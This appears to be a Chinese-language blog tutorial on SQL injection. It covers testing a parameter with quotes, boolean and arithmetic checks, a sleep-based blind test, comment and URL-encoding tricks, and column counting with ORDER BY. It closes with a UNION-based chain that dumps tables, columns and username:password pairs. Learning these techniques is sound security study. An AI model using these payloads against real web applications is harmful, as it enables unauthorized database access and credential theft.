sql注入判断

get单引号判断

?id=1 正常
?id=1' 显示错误则存在sql注入

get and判断

?id=1 and 1=1
?iid=1' and 1=1如果报错,那就存在sql,在请求字符串或者id参数后面加入'(单引号)是一种常见的判断是否存在sql注入的方法

Or、xor判断

和and差不多

sql运算符判断

?id=5-0
?id=5-1
?id=5+1
通过判别获取的内容是否一致,内容不一致则说明存在sql注入,因为存在了你输入的payload运算执行

通过sleep函数演示来判断

?id=1' and if(left(database(),1)='s',sleep(3),1)--+
left()函数:left(database(),1)='s’
left(a,b)从左侧截取a的前b位,正确则返回1,错误则返回0。
例:left(database(),1)=‘s’; 前1位是否是s。

服务端返回错误形式

错误直接回显在页面上
错误隐藏在页面源代码中
检测到错误跳转到另一个页面
返回HTTP错误代码500或重定向302
适当处理错误结果,常显示一个通用错误页面

其它方法

了解post、get、编码

常用'or and 1=1 # 'or and 1=1 –-+

井号 #是sql语句中的注释符;

加号+ 在http请求中表示空格;

-- 后面的语句相当于被注释掉,不执行后面的sql语句;

--+代表闭合sql查询语句,如果没加,无法形成有效的mysql语句,这是sql注入中常见的巧妙运用。
在post参数中
要加空格符,直接输入空格服即可;用+会被http请求转义为%2B编码;
在get请求中
在get请求中如果有空格,需要用空格符编码%20来替代,不然会请求报错;
如果用#表示不提交#后面的参数到服务端,但是转成%23编码就可以提交过去;
常见URL编码
空格 %20
+%2b
<%3c
大于 >%3e

sql注入常用mysql函数

order by

发现注入点

输入?id=1 正常;

输入?id=1'报错,就存在sql注入漏洞。

猜id=1显示条件中表的字段

例如输入?id=1' order by 3 --+ 显示正常
再次输入?id=1' order by 4 --+ 显示错误
所以的出,在?id=1查看的这个表有3个字段

仔细想想,为什么不是?id=1或者id=1'呢?后面为什么要加--+呢?

爆开数据库
?id=-1' union select 1,2,database() --+
爆开数据表
?id=0' union select 1,group_concat(table_name),3 from information_schema.tables where table_schema=database() --+
爆开数据列(字段名)
?id=0' union select 1,group_concat(column_name),3 from information_schema.columns where table_name='users' --+
爆开数据值
?id=0' union select 1,group_concat(username,0x3a,password),3 from users--+

©著作权归作者所有,转载或内容合作请联系作者
平台声明:文章内容(如有图片或视频亦包括在内)由作者上传并发布,文章内容仅代表作者本人观点,简书系信息发布平台,仅提供信息存储服务。

推荐阅读更多精彩内容

  • 首发地址:我的个人博客 前言 本文章产生的缘由是因为专业老师,让我给本专业的同学讲一哈SQL注入和XSS入门,也就...
    简言之_阅读 1,190评论 0 7
  • 一、sql注入原理 SQL 注入就是指 web 应用程序对用户输入的数据合法性没有过滤或者是判断,前端传入的参数是...
    卿酌南烛_b805阅读 4,221评论 0 2
  • 在我们测试用到的时候,经常会使用到一些语法,应该透彻理解透彻这些函数1)order byb 用于根据指定的列对。语...
    二潘阅读 1,303评论 0 3
  • 一、分类 可以有以下几种不同的维度:维度一:基于注入点值的属性 数字型 字符型维度二:基于注入点的位置 GET/P...
    ffx_01阅读 1,789评论 0 0
  • MSSQL 跨库查询(臭要饭的!黑夜) 榨干MS SQL最后一滴血 SQL语句参考及记录集对象详解 关于SQL S...
    碧海生曲阅读 5,672评论 0 1